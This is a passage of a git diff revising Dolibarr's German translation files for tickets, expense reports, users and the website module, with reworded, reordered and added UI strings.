TicketMessagePrivateHelp=Diese Meldung wird den externen Benutzer nicht angezeigt TicketEmailOriginIssuer=Ersteller des Tickets InitialMessage=Originalmitteilung LinkToAContract=Link zu Vertrag TicketPleaseSelectAContract=Vertrag auswählen UnableToCreateInterIfNoSocid=Es kann kein Serviceauftrag erstellt werden, wenn keine Geschäftspartner definiert sind -TicketMailExchanges=Mailaustausch +TicketMailExchanges=Schriftverkehr TicketInitialMessageModified=Originalmitteilung aktualisiert TicketMessageSuccesfullyUpdated=Mitteilung erfolgreich aktualisiert TicketChangeStatus=Status ändern @@ -286,7 +291,7 @@ YourTicketSuccessfullySaved=Das Ticket wurde gespeichert! MesgInfosPublicTicketCreatedWithTrackId=Ein neues Ticket wurde mit der ID %s und der Referenz %s erstellt. PleaseRememberThisId=Bitte merken Sie sich die Tracking Nummer, Sie werden vermutlich später von uns danach gefragt werden. TicketNewEmailSubject=Bestätigung der Ticketerstellung - Ref %s (öffentliche Ticket-ID %s) -TicketNewEmailSubjectCustomer=Neues Supportticket +TicketNewEmailSubjectCustomer=Neues Support-Ticket TicketNewEmailBody=Automatische Bestätigung: Ihr Ticket wurde erfolgreich erstellt. TicketNewEmailBodyCustomer=Automatische Bestätigung: Ihr Ticket wurde erfolgreich in Ihrem Konto erstellt. TicketNewEmailBodyInfosTicket=Informationen um das Ticket zu überwachen @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Sie können den Fortschritt der Tickets TicketCloseEmailBodyInfosTrackUrlCustomer=Sie können den Verlauf dieses Tickets einsehen, indem Sie auf den folgenden Link klicken TicketEmailPleaseDoNotReplyToThisEmail=Bitte nicht via E-Mail Antworten, sondern den Link zum Interface verwenden. TicketPublicInfoCreateTicket=Mit diesem Formular können Sie ein Ticket in unserem Ticketingtool eröffnen. -TicketPublicPleaseBeAccuratelyDescribe=Bitte Beschreiben Sie Ihr Anliegen möglichst genau. Je mehr Infos Sie uns mitteilen, desto besser können wir die Anfrage bearbeiten. +TicketPublicPleaseBeAccuratelyDescribe=Bitte Beschreiben Sie Ihr Anliegen möglichst genau. Je mehr Informationen Sie uns mitteilen, desto besser können wir die Anfrage bearbeiten. TicketPublicMsgViewLogIn=Bitte geben Sie die Ticket Tracking ID ein TicketTrackId=Öffentliche Tracking-ID OneOfTicketTrackId=Eine der Tracking-IDs diff --git a/htdocs/langs/de_DE/trips.lang b/htdocs/langs/de_DE/trips.lang index 1217fe5c4b9..7c6377246de 100644 --- a/htdocs/langs/de_DE/trips.lang +++ b/htdocs/langs/de_DE/trips.lang @@ -1,150 +1,152 @@ # Dolibarr language file - Source file is en_US - trips -ShowExpenseReport=Spesenabrechnung anzeigen -Trips=Spesenabrechnungen -TripsAndExpenses=Spesenabrechnungen -TripsAndExpensesStatistics=Reise- und Fahrtspesen Statistik -TripCard=Reisekosten – Übersicht +AUTHOR=Erstellt von +AUTHORPAIEMENT=Bezahlt von AddTrip=Spesenabrechnung erstellen -ListOfTrips=Aufstellung Spesenabrechnungen -ListOfFees=Liste der Spesen -TypeFees=Gebührenarten -ShowTrip=Spesenabrechnung anzeigen -NewTrip=neue Spesenabrechnung -LastExpenseReports=Letzte %s Spesenabrechnungen +AllExpenseReport=Alle Spesenarten AllExpenseReports=Alle Spesenabrechnungen -CompanyVisited=Firma/Organisation besucht -FeesKilometersOrAmout=Spesenbetrag bzw. Kilometergeld -DeleteTrip=Spesenabrechnung löschen -ConfirmDeleteTrip=Sind Sie sicher, dass diese Spesenabrechnung löschen wollen? -ListTripsAndExpenses=Aufstellung Spesenabrechnungen -ListToApprove=Warten auf Bestätigung -ExpensesArea=Spesenabrechnungen +AnyOtherInThisListCanValidate=Person, die zur Validierung der Anfrage informiert werden soll. +AttachTheNewLineToTheDocument=Position mit einem hochgeladenen Dokument verknüpfen +AucuneLigne=Es wurde noch keine Spesenabrechnung erstellt. +BrouillonnerTrip=Status der Spesenabrechnung auf den Status "Entwurf" ändern +byEX_DAY=pro Tag (begrenzt auf %s) +byEX_EXP=pro Position (begrenzt auf %s) +byEX_MON=pro Monat (begrenzt auf %s) +byEX_YEA=pro Jahr (begrenzt auf %s) +CANCEL_USER=Gelöscht von +CarCategory=Fahrzeugkategorie ClassifyRefunded=Als 'erstattet' markieren +CompanyVisited=Firma/Organisation besucht +ConfirmBrouillonnerTrip=Möchten Sie den Status dieser Spesenabrechnung wirklich auf "Entwurf" ändern? +ConfirmCancelTrip=Möchten Sie diese Spesenabrechnung wirklich stornieren? +ConfirmCloneExpenseReport=Möchten Sie den diese Spesenabrechnung wirklich duplizieren? +ConfirmDeleteTrip=Sind Sie sicher, dass diese Spesenabrechnung löschen wollen? +ConfirmPaidTrip=Möchten Sie den Status dieser Spesenabrechnung auf "Bezahlt" ändern? +ConfirmRefuseTrip=Möchten Sie diese Spesenabrechnung wirklich ablehnen? +ConfirmSaveTrip=Möchten Sie den diese Spesenabrechnung wirklich bestätigen? +ConfirmValideTrip=Möchten Sie diese Spesenabrechnung wirklich genehmigen? +DATE_CANCEL=Stornodatum +DATE_PAIEMENT=Zahlungsdatum +DATE_REFUS=Datum Ablehnung +DATE_SAVE=Freigabedatum +DefaultCategoryCar=Standardmäßiges Verkehrsmittel +DefaultRangeNumber=Standradreichweite +DeleteTrip=Spesenabrechnung löschen +ErrorDoubleDeclaration=Sie haben bereits eine andere Spesenabrechnung in einem ähnlichen Datumsbereich erstellt. +Error_EXPENSEREPORT_ADDON_NotDefined=Fehler, die Regeln für Spesenabrechnungnummerierung wurde im Setup des Moduls "Spesenabrechnung" nicht definiert +ExpenseRangeOffset=Ausgelegter Betrag: %s +expenseReportCatDisabled=Kategorie deaktiviert - Wörterbuch c_exp_tax_cat +expenseReportCoef=Koeffizient +expenseReportCoefUndefined=(Wert nicht definiert) +expenseReportOffset=Auslage +expenseReportPrintExample=offset + (d x coef) = %s +expenseReportRangeDisabled=Periode deaktiviert - Wörterbuch c_exp_tax_range +expenseReportRangeFromTo=von %d bis %d +expenseReportRangeMoreThan=mehr als %d +expenseReportTotalForFive=Beispiel mit d = 5 +ExpenseReportApplyTo=Anwenden auf +ExpenseReportApproved=Eine Spesenabrechnung wurde genehmigt +ExpenseReportApprovedMessage=Der Spesenabrechnung %s wurde genehmigt.
      - Benutzer: %s
      - Genehmigt von: %s
      Klicken Sie hier, um die Spesenabrechnung anzuzeigen: %s +ExpenseReportCanceled=Eine Spesenabrechnung wurde storniert +ExpenseReportCanceledMessage=Der Spesenabrechnung %s wurde abgebrochen.
      - Benutzer: %s
      - Storniert von: %s
      - Motive für die Stornierung: %s
      Klicken Sie hier, um die Spesenabrechnung zu zeigen: %s +ExpenseReportConstraintViolationError=Höchstbetrag überschritten (Regel %s): %s ist höher als %s (Überschreiten nicht zulässig) +ExpenseReportConstraintViolationWarning=Höchstbetrag überschritten (Regel %s): %s ist höher als %s (Überschreitung autorisiert) +ExpenseReportDateEnd=Enddatum +ExpenseReportDateStart=Startdatum +ExpenseReportDomain=Anwenden auf Bereich +ExpenseReportIkDesc=Sie können die Berechnung der Kilometerspensen pro Kategorie und Distanz dort ändern wo sie definiert wurden. d ist die Distanz in Kilometer +ExpenseReportLimitAmount=Höchstbetrag +ExpenseReportLimitOn=Begrenzungen ein +ExpenseReportLine=Position in der Spesenabrechnung +ExpenseReportPaid=Eine Spesenabrechnung wurde ausbezahlt +ExpenseReportPaidMessage=Der Spesenabrechnung %s wurde bezahlt.
      - Benutzer: %s
      - Paid von: %s
      Klicken Sie hier, um die Spesenabrechnung anzuzeigen: %s +ExpenseReportPayment=Spesenabrechnung Zahlung +ExpenseReportRef=Belegnummer Spesenabrechnung +ExpenseReportRefused=Eine Spesenabrechnung wurde abgelehnt +ExpenseReportRefusedMessage=Der Spesenabrechnung %s wurde abgelehnt.
      - Benutzer: %s
      - Refused von: %s
      - Motive für die Ablehnung: %s
      Klicken Sie hier, um die Spesenabrechnung zeigen: %s +ExpenseReportRestrictive=Begrenzung verbindlich +ExpenseReportRuleErrorOnSave=Fehler: %s +ExpenseReportRuleSave=Spesenabrechnung Regel gespeichert +ExpenseReportRulesDesc=Sie können Höchstbetragsregeln für Spesenabrechnungen definieren. Diese Regeln werden angewendet, wenn einer Spesenabrechnung eine neue Ausgabe hinzugefügt wird. ExpenseReportWaitingForApproval=Eine neue Spesenabrechnung ist zur Genehmigung vorgelegt worden ExpenseReportWaitingForApprovalMessage=Ein neuer Spesenabrechnung wurde vorgelegt und wartet auf die Genehmigung.
      - Benutzer: %s
      - Zeitraum: %s
      Klicken Sie hier, um diesen freizugeben: %s ExpenseReportWaitingForReApproval=Eine Spesenabrechnung ist zur erneuten Genehmigung vorgelegt worden ExpenseReportWaitingForReApprovalMessage=Eine Spesenabrechnung wurde eingereicht und wartet auf erneute Freigabe.
      Die Freigabe der Spesenabrechnung für %s wurde aus folgendem Grund verweigert: %s.
      Eine neue Version wurde für für die Freigabe vorgeschlagen und wartet.
      - Benutzer: %s
      - Zeitraum: %s
      Klicken Sie hier, um diesen freizugeben: %s -ExpenseReportApproved=Eine Spesenabrechnung wurde genehmigt -ExpenseReportApprovedMessage=Der Spesenabrechnung %s wurde genehmigt.
      - Benutzer: %s
      - Genehmigt von: %s
      Klicken Sie hier, um die Spesenabrechnung anzuzeigen: %s -ExpenseReportRefused=Eine Spesenabrechnung wurde abgelehnt -ExpenseReportRefusedMessage=Der Spesenabrechnung %s wurde abgelehnt.
      - Benutzer: %s
      - Refused von: %s
      - Motive für die Ablehnung: %s
      Klicken Sie hier, um die Spesenabrechnung zeigen: %s -ExpenseReportCanceled=Eine Spesenabrechnung wurde storniert -ExpenseReportCanceledMessage=Der Spesenabrechnung %s wurde abgebrochen.
      - Benutzer: %s
      - Storniert von: %s
      - Motive für die Stornierung: %s
      Klicken Sie hier, um die Spesenabrechnung zu zeigen: %s -ExpenseReportPaid=Eine Spesenabrechnung wurde ausbezahlt -ExpenseReportPaidMessage=Der Spesenabrechnung %s wurde bezahlt.
      - Benutzer: %s
      - Paid von: %s
      Klicken Sie hier, um die Spesenabrechnung anzuzeigen: %s -TripId=Spesenabrechnung ID -AnyOtherInThisListCanValidate=Person, die zur Validierung der Anfrage informiert werden soll. -TripSociete=Partner -TripNDF=Hinweise Spesenabrechnung -PDFStandardExpenseReports=Standard-Vorlage, um ein PDF-Dokument für die Spesenabrechnung zu erzeugen -ExpenseReportLine=Position in der Spesenabrechnung -TF_OTHER=Andere -TF_TRIP=Versand -TF_LUNCH=Bewirtung -TF_METRO=S- und U-Bahn -TF_TRAIN=Bahn -TF_BUS=Bus -TF_CAR=Auto -TF_PEAGE=Mautgebühr -TF_ESSENCE=Kraftstoff -TF_HOTEL=Hotel -TF_TAXI=Taxi -EX_KME=Kosten pro Kilometer -EX_FUE=Tankspesen Firmenauto -EX_HOT=Hotel -EX_PAR=Parkingspesen Firmenauto -EX_TOL=Gebührenspesen Firmenauto -EX_TAX=Verschiedene Steuern -EX_IND=Transportversicherung -EX_SUM=Wartungsmaterial -EX_SUO=Büromaterial -EX_CAR=Autovermietung -EX_DOC=Dokumentation -EX_CUR=Kundengeschenk -EX_OTR=Anderes Geschenk -EX_POS=Porto -EX_CAM=Unterhalt und Reparatur Firmenauto -EX_EMM=Mitarbeiter Essen -EX_GUM=Essen mit Kunde -EX_BRE=Frühstück -EX_FUE_VP=Tankspesen Privatauto -EX_TOL_VP=Mautgebühr -EX_PAR_VP=Parkgebühr -EX_CAM_VP=Unterhalt und Reparatur Privatauto -DefaultCategoryCar=Standardmäßiges Verkehrsmittel -DefaultRangeNumber=Standradreichweite -UploadANewFileNow=Neues Dokument jetzt hochladen -Error_EXPENSEREPORT_ADDON_NotDefined=Fehler, die Regeln für Spesenabrechnungnummerierung wurde im Setup des Moduls "Spesenabrechnung" nicht definiert -ErrorDoubleDeclaration=Sie haben bereits eine andere Spesenabrechnung in einem ähnlichen Datumsbereich erstellt. -AucuneLigne=Es wurde noch keine Spesenabrechnung erstellt. -ModePaiement=Zahlungsart -VALIDATOR=Verantwortlicher Benutzer für Genehmigung -VALIDOR=genehmigt durch -AUTHOR=erstellt von -AUTHORPAIEMENT=Bezahlt von -REFUSEUR=abgelehnt durch -CANCEL_USER=gelöscht von -MOTIF_REFUS=Grund -MOTIF_CANCEL=Grund -DATE_REFUS=Datum Ablehnung -DATE_SAVE=Freigabedatum -DATE_CANCEL=Stornodatum -DATE_PAIEMENT=Zahlungsdatum -ExpenseReportRef=Belegnummer Spesenabrechnung -ValidateAndSubmit=Freigeben und zur Genehmigung einreichen -ValidatedWaitingApproval=Validiert (Wartet auf Genehmigung) -NOT_AUTHOR=Sie sind nicht der Autor dieser Spesenabrechnung. Vorgang abgebrochen. -ConfirmRefuseTrip=Möchten Sie diese Spesenabrechnung wirklich ablehnen? -ValideTrip=Genehmigen Spesenabrechnung -ConfirmValideTrip=Möchten Sie diese Spesenabrechnung wirklich genehmigen? -PaidTrip=Spesenabrechnung bezahlen -ConfirmPaidTrip=Möchten Sie den Status dieser Spesenabrechnung auf "Bezahlt" ändern? -ConfirmCancelTrip=Möchten Sie diese Spesenabrechnung wirklich stornieren? -BrouillonnerTrip=Status der Spesenabrechnung auf den Status "Entwurf" ändern -ConfirmBrouillonnerTrip=Möchten Sie den Status dieser Spesenabrechnung wirklich auf "Entwurf" ändern? -SaveTrip=Bestätige Spesenabrechnung -ConfirmSaveTrip=Möchten Sie den diese Spesenabrechnung wirklich bestätigen? -NoTripsToExportCSV=Keine Spesenabrechnung für diesen Zeitraum zu exportieren. -ExpenseReportPayment=Spesenabrechnung Zahlung -ExpenseReportsToApprove=zu genehmigende Spesenabrechnungen -ExpenseReportsToPay=zu zahlende Spesenabrechnungen -ConfirmCloneExpenseReport=Möchten Sie den diese Spesenabrechnung wirklich duplizieren? ExpenseReportsIk=Konfiguration der Kilometergebühren ExpenseReportsRules=Spesenabrechnungen Regeln -ExpenseReportIkDesc=Sie können die Berechnung der Kilometerspensen pro Kategorie und Distanz dort ändern wo sie definiert wurden. d ist die Distanz in Kilometer -ExpenseReportRulesDesc=Sie können Höchstbetragsregeln für Spesenabrechnungen definieren. Diese Regeln werden angewendet, wenn einer Spesenabrechnung eine neue Ausgabe hinzugefügt wird. -expenseReportOffset=Wertsprung -expenseReportCoef=Koeffizient -expenseReportTotalForFive=Beispiel mit d = 5 -expenseReportRangeFromTo=von %d bis %d -expenseReportRangeMoreThan=mehr als %d -expenseReportCoefUndefined=(Wert nicht definiert) -expenseReportCatDisabled=Kategorie deaktiviert - Wörterbuch c_exp_tax_cat -expenseReportRangeDisabled=Periode deaktiviert - Wörterbuch c_exp_tax_range -expenseReportPrintExample=offset + (d x coef) = %s -ExpenseReportApplyTo=Anwenden auf -ExpenseReportDomain=Anwenden auf Bereich -ExpenseReportLimitOn=Limite ein -ExpenseReportDateStart=Startdatum -ExpenseReportDateEnd=Enddatum -ExpenseReportLimitAmount=Höchstbetrag -ExpenseReportRestrictive=Überschreiten nicht zulässig -AllExpenseReport=Alle Spesenarten -OnExpense=Spesenzeile -ExpenseReportRuleSave=Spesenabrechnung Regel gespeichert -ExpenseReportRuleErrorOnSave=Fehler: %s -RangeNum=Periode %d -ExpenseReportConstraintViolationError=Höchstbetrag überschritten (Regel %s): %s ist höher als %s (Überschreiten nicht zulässig) -byEX_DAY=pro Tag (Begrenzt auf %s) -byEX_MON=pro Monat (Begrenzt auf %s) -byEX_YEA=pro Jahr (Begrenzt auf %s) -byEX_EXP=pro Zeile (Begrenzt auf %s) -ExpenseReportConstraintViolationWarning=Höchstbetrag überschritten (Regel %s): %s ist höher als %s (Überschreitung autorisiert) -nolimitbyEX_DAY=pro Tag (keine Beschränkung) -nolimitbyEX_MON=pro Monat (keine Beschränkung) -nolimitbyEX_YEA=pro Jahr (Nicht Begrenzt) -nolimitbyEX_EXP=pro Zeile (Nicht Begrenzt) -CarCategory=Fahrzeugkategorie -ExpenseRangeOffset=Offset Betrag: %s +ExpenseReportsToApprove=Zu genehmigende Spesenabrechnungen +ExpenseReportsToPay=zu zahlende Spesenabrechnungen +ExpensesArea=Spesenabrechnungen +FeesKilometersOrAmout=Spesenbetrag bzw. Kilometergeld +LastExpenseReports=Letzte %s Spesenabrechnungen +ListOfFees=Liste der Spesen +ListOfTrips=Aufstellung Spesenabrechnungen +ListToApprove=Warten auf Bestätigung +ListTripsAndExpenses=Aufstellung Spesenabrechnungen +MOTIF_CANCEL=Grund +MOTIF_REFUS=Grund +ModePaiement=Zahlungsart +NewTrip=neue Spesenabrechnung +nolimitbyEX_DAY=pro Tag (nicht begrenzt) +nolimitbyEX_EXP=pro Zeile (nicht begrenzt) +nolimitbyEX_MON=pro Monat (nicht begrenzt) +nolimitbyEX_YEA=pro Jahr (nicht begrenzt) +NoTripsToExportCSV=Keine Spesenabrechnung für diesen Zeitraum zu exportieren. +NOT_AUTHOR=Sie sind nicht der Ersteller dieser Spesenabrechnung. Vorgang abgebrochen. +OnExpense=Spesenposition +PDFStandardExpenseReports=Standard-Vorlage, um ein PDF-Dokument für die Spesenabrechnung zu erzeugen +PaidTrip=Spesenabrechnung bezahlen +REFUSEUR=Abgelehnt durch RangeIk=Reichweite -AttachTheNewLineToTheDocument=Zeile an hochgeladenes Dokument anhängen +RangeNum=Bereich %d +SaveTrip=Bestätige Spesenabrechnung +ShowExpenseReport=Spesenabrechnung anzeigen +ShowTrip=Spesenabrechnung anzeigen +TripCard=Reisekosten – Übersicht +TripId=Spesenabrechnung ID +TripNDF=Hinweise Spesenabrechnung +TripSociete=Information zum Unternehmen +Trips=Spesenabrechnungen +TripsAndExpenses=Spesenabrechnungen +TripsAndExpensesStatistics=Reise- und Fahrtspesen Statistik +TypeFees=Gebührenarten +UploadANewFileNow=Neues Dokument jetzt hochladen +VALIDATOR=Genehmiger +VALIDOR=Genehmigt durch +ValidateAndSubmit=Freigeben und zur Genehmigung einreichen +ValidatedWaitingApproval=Freigegeben (Wartet auf Genehmigung) +ValideTrip=Genehmigen Spesenabrechnung + +## Dictionary +EX_BRE=Frühstück +EX_CAM=Unterhalt und Reparatur Firmenwagen +EX_CAM_VP=Unterhalt und Reparatur Privatwagen +EX_CAR=Autovermietung +EX_CUR=Kundengeschenk +EX_DOC=Dokumentation +EX_EMM=Bewirtung Mitarbeiter +EX_FUE=Tankspesen Firmenwagen +EX_FUE_VP=Tankspesen Privatwagen +EX_GUM=Bewirtung Kunde +EX_HOT=Hotel +EX_IND=Transportversicherung +EX_KME=Kosten pro Kilometer +EX_OTR=Anderes Geschenk +EX_PAR=Parkgebühren Firmenwagen +EX_PAR_VP=Parkgebühr Privatwagen +EX_POS=Porto +EX_SUM=Wartungsmaterial +EX_SUO=Büromaterial +EX_TAX=Verschiedene Steuern +EX_TOL=Mautgebühren Firmenwagen +EX_TOL_VP=Mautgebühr Privatwagen +TF_BUS=Bus +TF_CAR=PKW +TF_ESSENCE=Tankspesen +TF_HOTEL=Hotel +TF_LUNCH=Bewirtung +TF_METRO=S- und U-Bahn +TF_OTHER=Andere +TF_PEAGE=Mautgebühr +TF_TAXI=Taxi +TF_TRAIN=Bahn +TF_TRIP=Fahrschein/Ticket diff --git a/htdocs/langs/de_DE/users.lang b/htdocs/langs/de_DE/users.lang index 8c64d78ec24..877f4bede24 100644 --- a/htdocs/langs/de_DE/users.lang +++ b/htdocs/langs/de_DE/users.lang @@ -13,7 +13,7 @@ SubjectNewPassword=Ihr neues Passwort für %s GroupRights=Gruppenberechtigungen UserRights=Benutzerberechtigungen Credentials=Zugangsdaten -UserGUISetup=Konfiguration der Benutzeranzeige +UserGUISetup=Benutzeroberfläche DisableUser=Deaktiviere Benutzer DisableAUser=Einen Benutzer deaktivieren DeleteUser=Lösche Benutzer @@ -47,7 +47,7 @@ RemoveFromGroup=Gruppenzuweisung entfernen PasswordChangedAndSentTo=Passwort geändert und an %s gesendet. PasswordChangeRequest=Aufforderung, das Passwort für %s zu ändern PasswordChangeRequestSent=Kennwort-Änderungsanforderung für %s gesendet an %s. -IfLoginExistPasswordRequestSent=Falls dieser Benutzer über ein gültiges Konto verfügt, wurde eine E-Mail zum Zurücksetzen des Passworts gesendet. +IfLoginExistPasswordRequestSent=Wenn es sich bei der angegebenen E-Mail-Adresse um ein gültiges Konto handelt, wurde eine E-Mail zum Zurücksetzen des Passworts gesendet. IfEmailExistPasswordRequestSent=Eine E-Mail zum Zurücksetzen des Passworts wurde versendet (vorausgesetzt dass die angegebene E-Mail-Adresse existiert). ConfirmPasswordReset=Passwort zurücksetzen MenuUsersAndGroups=Benutzer und Gruppen @@ -60,20 +60,20 @@ UserModified=Benutzer erfolgreich bearbeitet PhotoFile=Bilddatei ListOfUsersInGroup=Liste der Benutzer in dieser Gruppe ListOfGroupsForUser=Liste der Gruppen dieses Benutzers -LinkToCompanyContact=Mit Partner/Kontakt verknüpfen +LinkToCompanyContact=Mit Geschäftspartner/Kontakt verknüpfen LinkedToDolibarrMember=Mit Mitglied verknüpfen LinkedToDolibarrUser=Verknüpfung mit Benutzer LinkedToDolibarrThirdParty=Verknüpfung mit Geschäftspartner CreateDolibarrLogin=Benutzerkonto erstellen -CreateDolibarrThirdParty=Neuen Partner erstellen -LoginAccountDisableInDolibarr=Benutzerkonto im System deaktiviert. +CreateDolibarrThirdParty=Neuen Geschäftspartner erstellen +LoginAccountDisableInDolibarr=Benutzerkonto in Dolibarr deaktiviert +PASSWORDInDolibarr=Passwort in Dolibarr geändert UsePersonalValue=Eigenen Wert verwenden -InternalUser=Interne Benutzer ExportDataset_user_1=Benutzer und -eigenschaften DomainUser=Domain-Benutzer %s Reactivate=wieder aktivieren CreateInternalUserDesc=Hier kannst du interne Benutzer erzeugen.\nExterne Benutzer (Kunden, Lieferanten etc.) erzeugst du in dem Geschäftspartner Menü Kontakte/Adressen. -InternalExternalDesc=Ein interner Benutzer ist ein Benutzer, der zu Ihrem Unternehmen/Ihrer Organisation gehört oder ein Partnerbenutzer außerhalb Ihrer Organisation ist, der möglicherweise mehr Daten als Daten zu seinem Unternehmen sehen muss (das Berechtigungssystem legt fest, was er kann oder nicht sehen oder tun kann).
      Ein externer -Benutzer ist ein Kunde, Lieferant oder ein anderer, der NUR Daten zu seiner Person anzeigen darf (das Erstellen eines externen Benutzers für einen Geschäftspartner kann über den Kontaktdatensatz des Geschäftspartner erfolgen).

      In beiden Fällen müssen Sie Berechtigungen für die Funktionen erteilen, die der Benutzer benötigt. +InternalExternalDesc=Ein interner Benutzer ist ein Benutzer, der zu Ihrem Unternehmen/Ihrer Organisation gehört oder ein Partnerbenutzer außerhalb Ihrer Organisation ist, der möglicherweise mehr Daten als nur Daten zu seinem Unternehmen sehen muss (das Berechtigungssystem legt fest, was er sehen/nicht sehen oder tun/nicht tun kann).
      Ein externer-Benutzer ist ein Kunde, Lieferant oder ein anderer, der NUR Daten zu sich selbst einsehen darf (das Erstellen eines externen Benutzers für einen Geschäftspartner kann über den Kontaktdatensatz des Geschäftspartners erfolgen).

      In beiden Fällen müssen Sie Berechtigungen für die Funktionen erteilen, die der Benutzer benötigt. PermissionInheritedFromAGroup=Berechtigung durch eine Gruppenzugehörigkeit geerbt. Inherited=Geerbt UserWillBe=Benutzer erstellen als @@ -118,9 +118,9 @@ DateEmploymentStart=Beschäftigungsbeginn DateEmploymentEnd=Beschäftigungsende RangeOfLoginValidity=Datumsbereich der Zugriffsgültigkeit CantDisableYourself=Sie können nicht ihr eigenes Benutzerkonto deaktivieren -ForceUserExpenseValidator=Überprüfung der Spesenabrechnung erzwingen -ForceUserHolidayValidator=Gültigkeitsprüfer für Urlaubsanträge erzwingen -ValidatorIsSupervisorByDefault=Standardmäßig ist der Prüfer der Supervisor des Benutzers. Leer lassen, um dieses Verhalten beizubehalten. +ForceUserExpenseValidator=Genehmiger für Spesenabrechnungen festlegen +ForceUserHolidayValidator=Genehmiger für Urlaubsanträge festlegen +ValidatorIsSupervisorByDefault=Standardmäßig ist der Freigebende der Vorgesetzte des Benutzers. Lassen Sie es leer, um dieses Verhalten beizubehalten. UserPersonalEmail=Private E-Mail-Adresse UserPersonalMobile=Private Mobiltelefonnummer WarningNotLangOfInterface=Warnung: das ist die eingestellte Muttersprache die der Benutzer spricht, nicht die ausgewählte Sprache der Benutzeroberfläche. Um die angezeigte Sprache der Benutzeroberfläche zu ändern, gehe zum Tab %s @@ -128,3 +128,7 @@ DateLastLogin=Datum der letzten Anmeldung DatePreviousLogin=Datum der vorangegangenen Anmeldung IPLastLogin=IP der letzten Anmeldung IPPreviousLogin=IP der vorangegangenen Anmeldung +ShowAllPerms=Alle Berechtigungen anzeigen +HideAllPerms=Alle Berechtigungen ausblenden +UserPublicPageDesc=Sie können für diesen Benutzer eine virtuelle Karte aktivieren. Eine URL mit dem Benutzerprofil und einem Barcode wird verfügbar sein, damit jeder mit einem Smartphone sie scannen und Ihren Kontakt zu seinem Adressbuch hinzufügen kann. +EnablePublicVirtualCard=Aktivieren Sie die öffentliche virtuelle Benutzerkarte diff --git a/htdocs/langs/de_DE/website.lang b/htdocs/langs/de_DE/website.lang index 0ae8d538aec..73ad12ac6cb 100644 --- a/htdocs/langs/de_DE/website.lang +++ b/htdocs/langs/de_DE/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Code +WebsiteName=Name der Website WebsiteSetupDesc=Erstellen Sie hier die Websites, die Sie verwenden möchten. Dann gehen Sie in das Menü Websites, um sie zu bearbeiten. DeleteWebsite=Website löschen ConfirmDeleteWebsite=Sind Sie sicher, dass Sie diese Website löschen möchten? Alle Seiten und Inhalte werden ebenfalls entfernt. Die hochgeladenen Dateien (z.B. in das medias-Verzeichnis, das ECM-Modul, ...) bleiben erhalten. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Diesen Code am Schluss des HTML Headers anhängen (für alle WEBSITE_ROBOT=Roboterdatei (robots.txt) WEBSITE_HTACCESS=Website .htaccess Datei WEBSITE_MANIFEST_JSON=Website manifest.json Datei -WEBSITE_README=Datei README.md WEBSITE_KEYWORDSDesc=Verwenden Sie ein Komma, um Werte zu trennen -EnterHereLicenseInformation=Geben Sie hier Metadaten oder Lizenzinformationen ein, die in einer README.md-Datei abgelegt werden. Wenn Sie Ihre Website als Vorlage verteilen, wird die Datei in das Vorlagen-Package aufgenommen. +EnterHereReadmeInformation=Geben Sie hier eine Beschreibung der Website ein. Wenn Sie Ihre Website als Vorlage verteilen, wird die Datei in das Template-Paket aufgenommen. +EnterHereLicenseInformation=Geben Sie hier die LIZENZ des Codes der Website ein. Wenn Sie Ihre Website als Vorlage verteilen, wird die Datei in das Temprate-Paket aufgenommen. HtmlHeaderPage=HTML Header (Nur für diese Seite) PageNameAliasHelp=Name oder Alias der Seite.
      Dieser Alias wird auch zum erstellen einer SEO URL verwendet, wenn die Website auf einem Virtuellen Webserver läuft. Verwenden Sie der Button "%s" um den Alias zu ändern. EditTheWebSiteForACommonHeader=Hinweis: Um einen personalisierten Header für alles Seiten zu erstellen, muss der Header auf Site-Level bearbeitet werden, anstelle auf Seiten-/Containerebene. @@ -42,11 +43,13 @@ ViewPageInNewTab=Seite in neuem Tab anzeigen SetAsHomePage=Als Startseite festlegen RealURL=Echte URL ViewWebsiteInProduction=Website mit Home-URLs anzeigen +Virtualhost=Name des virtuellen Hosts oder der Domain +VirtualhostDesc=Der Name des virtuellen Hosts oder der Domain (Beispiel: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=Verwendung mit Apache/Nginx/...
      Erstellen Sie auf Ihrem Webserver (Apache, Nginx, ...) einen dedizierten virtuellen Host mit aktiviertem PHP und einem Stammverzeichnis unter
      %s ExampleToUseInApacheVirtualHostConfig=Beispiel für die Einrichtung eines virtuellen Apache-Hosts YouCanAlsoTestWithPHPS=Verwendung mit eingebettetem PHP-Server
      In der Entwicklungsumgebung können Sie die Site mit dem eingebetteten PHP-Webserver (PHP 5.5 erforderlich) testen, indem Sie
      php -S 0.0.0.0:8080 -t %s ausführen. YouCanAlsoDeployToAnotherWHP=Betrieb der Website mit einem anderen Dolibarr Hosting-Anbieter
      Wenn kein Apache oder Nginx Webserver online verfügbar ist, kann die Website exportiert und importiert werden und zu einer anderen Dolibarr-Instanz umziehen, die durch einen anderen Dolibarr Hosting-Anbieter mit kompletter Integration des Webseiten-Moduls bereitgestellt wird. Einige Dolibarr Hosting-Anbieter sind hier aufgelistet https://saas.dolibarr.org -CheckVirtualHostPerms=Überprüfen Sie auch, ob der User des virtuellen Hosts (z.B. www-daten) über die Berechtigungen %s für Dateien in
      %s verfügt. +CheckVirtualHostPerms=Überprüfen Sie auch, ob der User des virtuellen Hosts (z.B. www-data) über die Berechtigungen %s für Dateien in
      %s verfügt. ReadPerm=Lesen WritePerm=Schreiben TestDeployOnWeb=Test/Bereitstellung im Web @@ -137,7 +140,7 @@ PagesRegenerated=%s Seite(n)/Container neu generiert RegenerateWebsiteContent=Website-Cache-Dateien neu generieren AllowedInFrames=In Frames erlaubt DefineListOfAltLanguagesInWebsiteProperties=Definiere eine Liste aller verfügbaren Sprachen in den Website-Eigenschaften. -GenerateSitemaps=Website-Sitemap-Datei generieren +GenerateSitemaps=Die sitemap.xml-Datei der Website generieren ConfirmGenerateSitemaps=Wenn Sie dies bestätigen, löschen Sie die vorhandene Sitemap-Datei ... ConfirmSitemapsCreation=Bestätigen Sie die Sitemap-Generierung SitemapGenerated=Sitemap-Datei %s generiert @@ -145,3 +148,12 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon muss png sein ErrorFaviconSize=Favicon muss die Größe 16x16, 32x32 oder 64x64 haben FaviconTooltip=Laden Sie ein Bild im PNG-Format hoch (16x16, 32x32 oder 64x64). +NextContainer=Nächste Seite/Container +PreviousContainer=Vorherige 